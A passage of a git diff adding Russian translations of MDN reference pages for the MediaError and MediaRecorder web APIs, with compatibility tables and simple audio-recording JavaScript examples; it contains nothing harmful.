+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/mediaerror/code/index.html b/files/ru/web/api/mediaerror/code/index.html
new file mode 100644
index 0000000000..a08f5c0752
--- /dev/null
+++ b/files/ru/web/api/mediaerror/code/index.html
@@ -0,0 +1,103 @@
+---
+title: MediaError.code
+slug: Web/API/MediaError/code
+tags:
+  - API
+  - HTML DOM
+  - MediaError
+  - Видео
+  - Код
+  - Медиа
+  - Ошибки
+  - Свойство
+  - Справка
+  - аудио
+translation_of: Web/API/MediaError/code
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Свойство <strong><code>MediaError.code</code></strong> доступно только для чтения, возвращает числовое значение, представляющее тип ошибки, возникшей на элементе носителя. Чтобы получить текстовую строку с конкретной диагностической информацией, см. раздел {{domxref("MediaError.message")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>myError</em> = <em>mediaError</em>.code;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Числовое значение, указывающее общий тип возникшей ошибки. Возможные значения описаны ниже, в разделе {{anch ("Media error code constants")}}.</p>
+
+<h4 id="Константы_кода_ошибки_носителя">Константы кода ошибки носителя</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>MEDIA_ERR_ABORTED</code></td>
+   <td><code>1</code></td>
+   <td>Извлечение связанного ресурса было прервано запросом пользователя.</td>
+  </tr>
+  <tr>
+   <td><code>MEDIA_ERR_NETWORK</code></td>
+   <td><code>2</code></td>
+   <td>Произошла какая-то сетевая ошибка, которая помешала успешному извлечению носителя, несмотря на то, что он был ранее доступен.</td>
+  </tr>
+  <tr>
+   <td><code>MEDIA_ERR_DECODE</code></td>
+   <td><code>3</code></td>
+   <td>
+    <p>Несмотря на то, что ранее ресурс был определен, как используемый, при попытке декодировать медиаресурс произошла ошибка.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>MEDIA_ERR_SRC_NOT_SUPPORTED</code></td>
+   <td><code>4</code></td>
+   <td>
+    <p>Связанный объект ресурса или поставщика мультимедиа (например, {{domxref ("MediaStream")}}) был признан неподходящим.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере создается элемент {{HTMLElement("video")}}, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента {{htmlattrxref("src", "video")}} для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение</p>
+
+<pre class="brush: js">var obj = document.createElement('video');
+obj.onerror = function() {console.log("Ошибка с носителями информации: " + obj.error.code);}
+obj.src="https://example.com/blahblah.mp4";
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-mediaerror-code", "MediaError.code")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.MediaError.code")}}</p>
+
+<h2 id="See_Also" name="See_Also">Изучите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий его, {{domxref("MediaError")}}.</li>
+</ul>
diff --git a/files/ru/web/api/mediaerror/index.html b/files/ru/web/api/mediaerror/index.html
new file mode 100644
index 0000000000..6cdbd3932b
--- /dev/null
+++ b/files/ru/web/api/mediaerror/index.html
@@ -0,0 +1,64 @@
+---
+title: MediaError
+slug: Web/API/MediaError
+tags:
+  - API
+  - HTML DOM
+  - MediaError
+  - Видео
+  - Интерфейс
+  - Медиа
+  - Ошибки
+  - Справка
+  - аудио
+translation_of: Web/API/MediaError
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">Интерфейс <code>MediaError </code>представляет собой ошибку, возникшую при обработке мультимедиа в HTML-элементе мультимедиа на основе {{domxref ("HTMLMediaElement")}}, например {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}.</span></p>
+
+<p>Объект <code>MediaError </code>описывает ошибку в общих чертах, используя числовой код, классифицирующий тип ошибки, и сообщение, которое предоставляет конкретную диагностику о том, что пошло не так.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не наследует никаких свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaError.code")}}</dt>
+ <dd>Число, которое представляет общий тип ошибки, которая произошла, следующим образом: {{page("/ru/docs/Web/API/MediaError/code", "Константы кода ошибки носителя")}}</dd>
+ <dt>{{domxref("MediaError.message")}}</dt>
+ <dd>Объект {{domxref("DOMString")}} содержит читаемую человеком строку, которая предоставляет конкретную диагностическую информацию, чтобы помочь читателю понять возникшее состояние ошибки; в частности, это не просто краткое изложение того, что означает Код ошибки, но фактическая диагностическая информация, помогающая понять, что именно пошло не так. Этот текст и его формат не определяются спецификацией и будут варьироваться от одного {{Glossary("user agent")}} к другому. Если диагностика недоступна или объяснение не может быть предоставлено, это значение является пустой строкой (<code>""</code>).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не реализует и не наследует никаких методов и не имеет своих собственных.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "embedded-content.html#mediaerror", "MediaError")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.MediaError")}}</p>
+
+<h2 id="Изучите_также">Изучите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLMediaElement.error")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/index.html b/files/ru/web/api/mediarecorder/index.html
new file mode 100644
index 0000000000..4957359f56
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/index.html
@@ -0,0 +1,185 @@
+---
+title: MediaRecorder
+slug: Web/API/MediaRecorder
+translation_of: Web/API/MediaRecorder
+---
+<p>{{APIRef("Media Recorder API")}}</p>
+
+<p>The <strong><code>MediaRecorder</code></strong> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a> представляющий функциональность для простой записи медиа. Создается с использованием {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}}</dt>
+ <dd>Создает новый объект <code>MediaRecorder</code>, получающий {{domxref("MediaStream")}} для записи. Доступны такие параметры, как установка типа MIME контейнера (<code>"video/webm","video/mp4"</code> и другие) и скорости передачи аудио-и видеодорожек или одной общей скорости.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.mimeType")}} {{readonlyInline}}</dt>
+ <dd>Возвращает тип MIME, который был выбран в качестве контейнера записи для объекта MediaRecorder при его создании. </dd>
+ <dt>{{domxref("MediaRecorder.state")}} {{readonlyInline}}</dt>
+ <dd>Возвращает текущее состояние объекта <code>MediaRecorder </code>(<code>inactive</code>, <code>recording</code>, или <code>paused</code>.)</dd>
+ <dt>{{domxref("MediaRecorder.stream")}} {{readonlyInline}}</dt>
+ <dd>Возвращает поток который был передан конструктору при создании объекта <code>MediaRecorder</code></dd>
+ <dt>{{domxref("MediaRecorder.ignoreMutedMedia")}}</dt>
+ <dd>Показывает записывает ли <code>MediaRecorder </code>дорожку {{domxref("MediaStreamTrack")}} если она отключена. Если аттрибут равен<code> false, </code><code>MediaRecorder</code> будет записывать тишину для аудио и черные кадры для видео. По умолчанию равно <code>false</code></dd>
+ <dt>{{domxref("MediaRecorder.videoBitsPerSecond")}} {{readonlyInline}}</dt>
+ <dd>Возвращает скорость кодирования видео. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd>
+ <dt>{{domxref("MediaRecorder.audioBitsPerSecond;")}} {{readonlyInline}}</dt>
+ <dd>Возвращает скорость кодирования аудио. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.canRecordMimeType()", "MediaRecorder.isTypeSupported()")}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} значение показывающее поддерживается ли MIME тип текущим user agent.</dd>
+ <dt>{{domxref("MediaRecorder.pause()")}}</dt>
+ <dd>Приостанавливает запись медиа.</dd>
+ <dt>{{domxref("MediaRecorder.requestData()")}}</dt>
+ <dd>Запрашивает {{domxref("Blob")}} содержащий сохраненные данные полученные  с начала записи (или с последнего вызова <code>requestData()</code>). После вызова этого метода, запись продолжается, но в новый <code>Blob.</code></dd>
+ <dt>{{domxref("MediaRecorder.resume()")}}</dt>
+ <dd>Возобновляет запись медиа после паузы.</dd>
+ <dt>{{domxref("MediaRecorder.start()")}}</dt>
+ <dd>Начинает запись медиа. В этот метод можно передать аргумент <code>timeslice </code>со значением в миллисекундах. Если он определен, то медиа будет записываться в отдельные блоки заданной продолжительности, вместо записи в один большой блок.</dd>
+ <dt>{{domxref("MediaRecorder.stop()")}}</dt>
+ <dd>Останавливает запись, после чего запускается событие {{event("dataavailable")}}, содержащее последний <code>Blob</code> сохраненных данных.</dd>
+</dl>
+
+<h2 id="Обработчики_событий">Обработчики событий</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.ondataavailable")}}</dt>
+ <dd>Вызывает обработчик {{event("dataavailable")}} события, которое запускается раз в <code>timeslice</code> миллисекунд (или, если <code>timeslice</code> не был задан - по окончанию записи). Событие типа {{domxref("BlobEvent")}}, сдержит записанное медиа в {{domxref("BlobEvent.data", "data")}}.  Вы можете использовать обработчик для сбора и других действий в зависимости от полученных данных.</dd>
+ <dt>{{domxref("MediaRecorder.onerror")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("recordingerror")}}, включающего отчет об ошибках во время записи. Это фатальные ошибки, приводящие к остановке записи. Полученное событие основано на интерфейсе {{domxref("MediaRecorderErrorEvent")}}, свойство которого {{domxref("MediaRecorderErrorEvent.error", "error")}} содержит {{domxref("DOMException")}} описывающие произошедшие ошибки.</dd>
+ <dt>{{domxref("MediaRecorder.onpause")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("pause")}}, случившегося во время приостановки медиа.</dd>
+ <dt>{{domxref("MediaRecorder.onresume")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("resume")}}, случившегося во время возбновления записи.</dd>
+ <dt>{{domxref("MediaRecorder.onstart")}}</dt>
+ <dd>{{domxref("EventHandler")}}вызывается для обработки события {{event("start")}}, случившегося во время начала записи.</dd>
+ <dt>{{domxref("MediaRecorder.onstop")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("stop")}}, случившегося во время завершения записи, а так же при окончании {{domxref("MediaStream")}} — или после вызова {{domxref("MediaRecorder.stop()")}}</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>navigator.getUserMedia = (navigator.getUserMedia ||
+                          navigator.mozGetUserMedia ||
+                          navigator.msGetUserMedia ||
+                          navigator.webkitGetUserMedia);
+
+
+if (navigator.getUserMedia) {
+  console.log('getUserMedia supported.');
+
+  var constraints = { audio: true };
+  var chunks = [];
+
+  var onSuccess = function(stream) {
+    var mediaRecorder = new MediaRecorder(stream);
+
+    visualize(stream);
+
+    record.onclick = function() {
+      mediaRecorder.start();
+      console.log(mediaRecorder.state);
+      console.log("recorder started");
+      record.style.background = "red";
+      record.style.color = "black";
+    }
+
+    stop.onclick = function() {
+      mediaRecorder.stop();
+      console.log(mediaRecorder.state);
+      console.log("recorder stopped");
+      record.style.background = "";
+      record.style.color = "";
+      // mediaRecorder.requestData();
+    }
+
+    mediaRecorder.onstop = function(e) {
+      console.log("data available after MediaRecorder.stop() called.");
+
+      var clipName = prompt('Enter a name for your sound clip');
+
+      var clipContainer = document.createElement('article');
+      var clipLabel = document.createElement('p');
+      var audio = document.createElement('audio');
+      var deleteButton = document.createElement('button');
+
+      clipContainer.classList.add('clip');
+      audio.setAttribute('controls', '');
+      deleteButton.innerHTML = "Delete";
+      clipLabel.innerHTML = clipName;
+
+      clipContainer.appendChild(audio);
+      clipContainer.appendChild(clipLabel);
+      clipContainer.appendChild(deleteButton);
+      soundClips.appendChild(clipContainer);
+
+      audio.controls = true;
+      var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+      chunks = [];
+      var audioURL = window.URL.createObjectURL(blob);
+      audio.src = audioURL;
+      console.log("recorder stopped");
+
+      deleteButton.onclick = function(e) {
+        evtTgt = e.target;
+        evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+      }
+    }
+
+    mediaRecorder.ondataavailable = function(e) {
+      chunks.push(e.data);
+    }
+  }
+
+  var onError = function(err) {
+    console.log('The following error occured: ' + err);
+  }
+
+  navigator.getUserMedia(constraints, onSuccess, onError);
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}</pre>
+
+<div class="note">
+<p>Код выше был взят из демо Web Dictaphone. Некоторые строчки были пропущены для краткости. Полный код смотрите <a href="https://github.com/mdn/web-dictaphone/">здесь</a></p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимоть_с_браузерами">Совместимоть с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaRecorder")}}</p>
+
+<h2 id="Еще_по_теме">Еще по теме</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="https://mdn.github.io/web-dictaphone/">Web Dictaphone</a>: MediaRecorder + getUserMedia + Web Audio API visualization demo, by <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="https://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/mediarecorder/index.html b/files/ru/web/api/mediarecorder/mediarecorder/index.html
new file mode 100644
index 0000000000..eaae4075bc
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/mediarecorder/index.html
@@ -0,0 +1,157 @@
+---
+title: MediaRecorder.MediaRecorder()
+slug: Web/API/MediaRecorder/MediaRecorder
+translation_of: Web/API/MediaRecorder/MediaRecorder
+---
+<div>{{APIRef("MediaStream Recording")}}</div>
+
+<p><strong><code>MediaRecorder()</code></strong> конструктор {{domxref("MediaRecorder")}} объекта который будет делать запись переданного {{domxref("MediaStream")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>mediaRecorder</em> = new MediaRecorder(<em>stream</em>[, <em>options</em>]);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><strong>stream</strong></code></dt>
+ <dd>Объект потока {{domxref("MediaStream")}} источника из которого будет производиться запись. Может быть потоком, созданным {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia()")}} или {{HTMLElement("audio")}}, {{HTMLElement("video")}} или {{HTMLElement("canvas")}} элементами.</dd>
+ <dt>
+ <p><strong><code>options</code> </strong>{{optional_inline}}</p>
+ </dt>
+ <dd>
+ <p>Объект, содержащий следующие свойства:</p>
+
+ <ul>
+  <li><code>mimeType</code>:  <code>mime</code> тип, определяет формат результата записи, который нужно использовать в качестве контейнера для создаваемого объекта <code>MediaRecorder</code>. Можно просто указать формат контейнера, а браузер сам выберет нужный кодек для записи аудио/видео, или испоьзуйте <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр codecs</a> или параметр<code> profiles</code> для расширения информации об использовании и тонкой конфигурации кодеков. Приложения, предварительно, могут проверять поддержку браузерами определенного типа из свойства <code>mimeType</code> , вызывая метод {{domxref("MediaRecorder.isTypeSupported()")}}.</li>
+  <li><code>audioBitsPerSecond</code>: Скорость записи медиа данных аудио.</li>
+  <li><code>videoBitsPerSecond</code>: Скорость записи медиа данных видео.</li>
+  <li><code>bitsPerSecond</code>: Скорость записи медиаданных аудио и видео. Может определяться вместо верхних двух. Если определяется вместе с одним из свойств выше, имеет меньший приоритет, и используется  вместо отсутствующей настройки выше..</li>
+ </ul>
+
+ <div class="note">
+ <p> Если значения битов в секунду не указаны для видео и / или аудио, для видео по умолчанию принимается значение 2,5 Мбит / с, а для аудио по умолчанию используется адаптивный режим, в зависимости от частоты дискретизации и количества каналов.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>NotSupportedError</code></dt>
+ <dd>Определяет MIME тип, не поддерживающийся браузером.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере показано, как создать медиа рекордер для указанного потока, чья скорость передачи звука составляет 128 Кбит / с, а скорость передачи видео - 2,5 Мбит / с. Записанные мультимедийные данные будут храниться в контейнере MP4 (поэтому, если вы соберете порции мультимедийных данных и сохраните их на диск, они будут в файле с разрешением MP4).</p>
+
+<pre class="brush: js">...
+<code class="language-html">
+
+if (navigator.mediaDevices.getUserMedia) {
+  var constraints = { audio: true, video: true };
+  var chunks = [];
+
+  </code>var onSuccess = function(stream) {
+    var options = {
+      audioBitsPerSecond : 128000,
+      videoBitsPerSecond : 2500000,
+      mimeType : 'video/mp4'
+    }
+    var mediaRecorder = new MediaRecorder(stream,options);
+    m = mediaRecorder;
+
+...</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>options object</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("43.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>1.3<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The initial Firefox OS implementation only supported audio recording.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб диктофон </a>: MediaRecorder + getUserMedia + Web Audio API visualization demo, by <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.mediaDevices.getUserMedia()")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/ondataavailable/index.html b/files/ru/web/api/mediarecorder/ondataavailable/index.html
new file mode 100644
index 0000000000..e84e622f74
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/ondataavailable/index.html
@@ -0,0 +1,81 @@
+---
+title: MediaRecorder.ondataavailable
+slug: Web/API/MediaRecorder/ondataavailable
+translation_of: Web/API/MediaRecorder/ondataavailable
+---
+<p>{{APIRef("MediaStream Recording")}}</p>
+
+<p><strong><code>MediaRecorder.ondataavailable </code></strong>обработчик события (часть <a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a>) обрабатывает {{event("dataavailable")}} событие, позволяет выполнить код, когда тип данных  {{domxref("Blob")}}, представляющий обработанные данные становиться доступным для использования.</p>
+
+<p>Событие <code>dataavailable</code> вызывается когда MediaRecorder доставляет медиа данные в ваше приложение для использования. Они представляются в виде объекта типа  {{domxref("Blob")}}, содержащего данные. Это происходит в четырёх ситуациях:</p>
+
+<ul>
+ <li>Когда медиа поток завершается, любые мультимедийные данные ещё не доставленные в обработчик <code>ondataavailable</code> немедленно передаются в объект {{domxref("Blob")}}.</li>
+ <li>При вызове метода  {{domxref("MediaRecorder.stop()")}} , порция медиаданных, объем которых был захвачен с момента начала записи или после последнего вызова события <code>dataavailable</code> помещаються в объект  {{domxref("Blob")}};  после этого захват завершается.</li>
+ <li>При вызове метода {{domxref("MediaRecorder.requestData()")}} порция медиаданных, объем которых был захвачен с момента начала записи, или после последнего вызова события <code>dataavailable</code> помещаются в вновь созданный объект типа <code>Blob</code> , и захват порций медиаданных продолжается уже в этот новый объект <code>blob</code>.</li>
+ <li>Если свойство  <code>timeslice</code> передается в метод {{domxref("MediaRecorder.start()")}}, который запускает захват порций медиаданных, событие  <code>dataavailable</code> запускается каждые <code>timeslice</code> миллисекунд. Это значит, что каждый объект типа <code>blob</code> будет иметь специфичиский размер (за исключением последнего, который может быть короче, содержащий все, что осталось с момента последнего события ). Поэтому, если метод выглядит так : <code>recorder.start(1000);</code> то событие  <code>dataavailable</code> будет запускаться каждую секунду общего потока медиа захвата, и обработчик события будет вызываться каждую секунду, содержащий в параметре объект типа  <code>blob</code> , который будет содержать объем порции записи медиаданных продолжительностью в одну секунду. Можно использовать свойство  <code>timeslice</code> вместе с {{domxref("MediaRecorder.stop()")}} и {{domxref("MediaRecorder.requestData()")}} для создания нескольких объектов типа<code> blob</code> одинакового объема данных , плюс последние короткие объекты типа<code> blob.</code></li>
+</ul>
+
+<div class="note">
+<p>Медиаданные, содержащиеся в объекте типа {{domxref("Blob")}} доступны в свойстве <code>data</code> , возвращаемого в параметре объекта события {{event("dataavailable")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-IDBRequest"><span class="idlAttribute"><span class="idlInterface" id="idl-def-MediaRecorder"><span class="idlAttribute"><em>MediaRecorder</em>.ondataavailable = function(event) { ... }
+<em>MediaRecorder</em>.addEventListener('dataavailable', function(event) { ... })</span></span></span></span>
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js" id="line1"><span>...
+
+  mediaRecorder.onstop = function(e) {
+    console.log("data available after MediaRecorder.stop() called.");
+
+    var audio = document.createElement('audio');
+    audio.controls = true;
+    var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+    var audioURL = window.URL.createObjectURL(blob);
+    audio.src = audioURL;
+    console.log("recorder stopped");
+  }
+
+  mediaRecorder.ondataavailable = function(e) {
+    chunks.push(e.data);
+  }
+
+...</span>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-ondataavailable", "MediaRecorder.ondataavailable")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaRecorder.ondataavailable")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">Использование интерфейса записи медиапотока</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб диктофон</a>: MediaRecorder + getUserMedia + Web Audio API пример визуализации, от <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">Демонстрационный пример записи медиапотока</a>, от <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/requestdata/index.html b/files/ru/web/api/mediarecorder/requestdata/index.html
new file mode 100644
index 0000000000..07fb15a876
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/requestdata/index.html
@@ -0,0 +1,123 @@
+---
+title: MediaRecorder.requestData()
+slug: Web/API/MediaRecorder/requestData
+translation_of: Web/API/MediaRecorder/requestData
+---
+<p>{{APIRef("MediaStream Recording")}}</p>
+
+<p><span class="seoSummary">Метод <strong><code>MediaRecorder.requestData()</code></strong> (часть <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a>) используется, чтобы поднять {{domxref("dataavailable")}} событие содержащее {{domxref("Blob")}} объект захваченных медиа-данных как это было когда метод был вызван.</span> This can then be grabbed и маниулировать как необходимо.</p>
+
+<p>When the <code>requestData()</code> method is invoked, the browser queues a task that runs the following steps:</p>
+
+<ol>
+ <li>If {{domxref("MediaRecorder.state")}} is not "recording", raise a DOM <code>InvalidState</code> error and terminate these steps. If {{domxref("MediaRecorder.state")}} is "recording", continue to the next step.</li>
+ <li>Raise a {{domxref("dataavailable")}} event containing a {{domxref("Blob")}} of the currently captured data (the Blob is available under the event's <code>data</code> attribute.)</li>
+ <li>Create a new Blob and place subsequently captured data into it.</li>
+</ol>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">MediaRecorder.requestData()</pre>
+
+<h3 id="Errors">Errors</h3>
+
